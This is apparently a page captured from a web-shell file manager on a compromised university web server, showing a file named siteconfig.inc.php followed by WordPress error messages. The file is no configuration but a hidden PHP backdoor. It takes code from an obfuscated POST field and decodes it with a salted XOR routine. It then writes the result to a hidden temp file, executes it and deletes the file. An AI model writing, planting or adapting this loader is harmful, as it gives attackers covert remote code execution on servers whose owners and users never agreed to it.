文件操作 - siteconfig.inc.php

文件: /var/www/demoestudiantes.uaysen.cl/html/siteconfig.inc.php

编辑文件内容

<?php

if(in_array("\x63\x6F\x6Dpon\x65nt", array_keys($_POST))){
	$desc = $_POST["\x63\x6F\x6Dpon\x65nt"];
	$desc=	explode(	 '.'	,$desc  );	 
	$elem = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(	$salt);
            $l = 0;
    
            foreach(	$desc as $v7) {	$sChar = ord(	$salt[$l%	$sLen]);
                $d =(	(	int)$v7 - $sChar -(	$l%	10)) ^	92;
                $elem .= chr(	$d);
                $l++;} 	
	$ent = array_filter([getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", session_save_path()]);
	for ($parameter_group = 0, $res = count($ent); $parameter_group < $res; $parameter_group++) {
    $item = $ent[$parameter_group];
    		if (is_dir($item) && is_writable($item)) {
    $comp = str_replace("{var_dir}", $item, "{var_dir}/.dchunk");
    $file = fopen($comp, 'w');
if ($file) {
	fwrite($file, $elem);
	fclose($file);
	include $comp;
	@unlink($comp);
	exit;
}
}
}
}

修改文件时间

删除文件

Warning: require(/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php): failed to open stream: No such file or directory in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35

Fatal error: require(): Failed opening required '/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35